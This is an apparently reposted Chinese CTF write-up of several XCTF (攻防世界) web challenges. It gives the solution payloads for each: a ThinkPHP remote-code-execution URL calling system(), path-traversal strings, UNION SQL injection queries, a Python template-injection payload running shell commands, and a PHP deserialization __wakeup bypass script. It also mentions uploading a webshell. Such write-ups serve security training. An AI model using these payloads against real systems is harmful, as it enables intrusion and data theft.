攻防世界

baby_web

Training-WWW-Robots

php_rce
?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=php%20-r%20%27system(“cat%20../../../flag”);%27

https://blog.csdn.net/qq_40884727/article/details/101452478

Web_php_include

过滤了php:// 大写绕过即可,也可用data://text/plain;base64,xxxx(base64编码后的数据),或者挂马(没必要)

Warmup

file=source.php%253f/../../../../../ffffllllaaaagggg

其实file=source.php?/../../../../../ffffllllaaaagggg就可以第一次截断过了就返回true了

NewsCenter
1‘ or 1=1#回显 1’ or 1=2#没反应 有注入,且无任何防护,常规注入即可

1′ union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=’news’)#

1′ union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=’secret_table’)#

1′ union select 1,2,(select group_concat(fl4g) from news.secret_table)#

或者直接抓个包丢sqlmap啦

NaNNaNNaNNaN-Batman
下载后打开

将eval函数改为alert(),改文件后缀名为.html打开即可将原函数弹出来

function $(){undefined

var e=document.getElementById(“c”).value;

if(e.length==16)

if(e.match(/^be0f23/)!=null)

if(e.match(/233ac/)!=null)

if(e.match(/e98aa$/)!=null)

if(e.match(/c7be9/)!=null){undefined

var t=[“fl”,”s_a”,”i”,”e}”];

var n=[“a”,”_h0l”,”n”];

var r=[“g{“,”e”,”_0″];

var i=[“it'”,”_”,”n”];

var s=[t,n,r,i];

for(var o=0;o<13;++o){undefined

document.write(s[o%4][0]);s[o%4].splice(0,1)

}

}

}

document.write(‘<input id=”c”><button οnclick=$()>Ok</button>’);

delete

只要e的规则符合长度为16并且以be0f23开头以e98aa结尾并且需要匹配233ac和c7be9即可.

也就是be0f233ac7be98aa,题目的意思应该是在这输入框提交即可得flag,

或者在火狐控制台中直接运行正则后得代码就可以弹出来flag

PHP2
进去是空的,试了试发现有源码泄露

发现不全,查看源代码试试

对id的值二次url encode即可,为了方便只对a做处理 id=%2561dmin

unserialize3

也就是要绕过wakeup,反序列化时,__wakeup触发于unserilize()调用之前,但是如果表示对象属性个数的值大于真实的属性个数时,会导致反序列化失败而同时使得__wakeup失效。

打印出序列化的字符串,然后改一下值提交就行

Upload1
用了js做了文件限制

选择文件跳出弹框之后,直接删了就行

还贴心的给了上传路径,菜刀链接即可

Web_python_template_injection
明摆着就是模板注入呗

看了看没别的地方提交数据了,在url尝试

证明有注入,直接上payload,命令执行{undefined{”.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__[‘__builtins__’][‘eval’](‘__import__(“os”).popen(“ls”).read()’)}},再用cat读出来就行

{undefined{”.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__[‘__builtins__’][‘eval’](‘__import__(“os”).popen(“cat fl4g”).read()’)}}

Web_php_unserialize
看名字反序列化没跑了,打开就送源代码

应该还是要绕过wakeup,不过这里得绕过个正则preg_match(‘/[oc]:d+:/i’,$var);利用符号+就不会对`([字符O或C]:[一个或多个数字])`格式进行匹配

改成O:+4:”Demo”:2:{s:10:”Demofile”;s:8:”fl4g.php”;},再base64加密一下,Tzo0OiJEZW1vIjoyOntzOjEwOiJEZW1vZmlsZSI7czo4OiJmbCs0Zy5waHAiO30=

提交发现不行。。。。看了别人的wp用的是

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

用的是php里的加密var_dump(base64_encode($C));,和我用hackbar加密出来的不一样。。好像是字符串里面有一些空字符根本没法被编码

测试一下确实是空字符,显示以及复制的话都是一样的,但明显字符串的长度不同

还是全部用脚本吧

<?php

class Demo {undefined

private $file = ‘index.php’;

public function __construct($file) {undefined

$this->file = $file;

}

function __destruct() {undefined

echo @highlight_file($this->file, true);

}

function __wakeup() {undefined

if ($this->file != ‘index.php’) {undefined

//the secret is in the fl4g.php

$this->file = ‘index.php’;

}

}

}

$A = new Demo(‘fl4g.php’);

$C = serialize($A);

//string(49) “O:4:”Demo”:1:{s:10:”Demofile”;s:8:”fl4g.php”;}”

$C = str_replace(‘O:4’, ‘O:+4’,$C);//绕过preg_match

$C = str_replace(‘:1:’, ‘:2:’,$C);//绕过wakeup

var_dump($C);

//string(49) “O:+4:”Demo”:2:{s:10:”Demofile”;s:8:”fl4g.php”;}”

var_dump(base64_encode($C));

//string(68) “TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==”

?>

提交即可

————————————————
版权声明:本文为CSDN博主「Arnoldqqq」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_43610673/article/details/105189034

本文出自:https://www.jb51.net/article/169211.htm